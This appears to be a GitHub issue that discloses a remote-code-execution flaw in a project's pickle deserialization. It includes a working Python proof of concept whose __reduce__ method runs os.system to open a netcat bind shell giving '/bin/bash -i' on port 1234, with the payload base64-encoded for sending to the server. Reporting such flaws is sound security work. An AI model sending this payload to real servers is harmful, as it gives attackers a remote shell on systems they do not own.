Skip to content

Pickle RCE #3

@Auspx

Description

@Auspx

When the object gets unpickle, the function reduce will be executed. When exploited, server could return an error, these function is present on our server side.

import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

image

Metadata

Metadata

Assignees

Labels

bugSomething isn't working

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions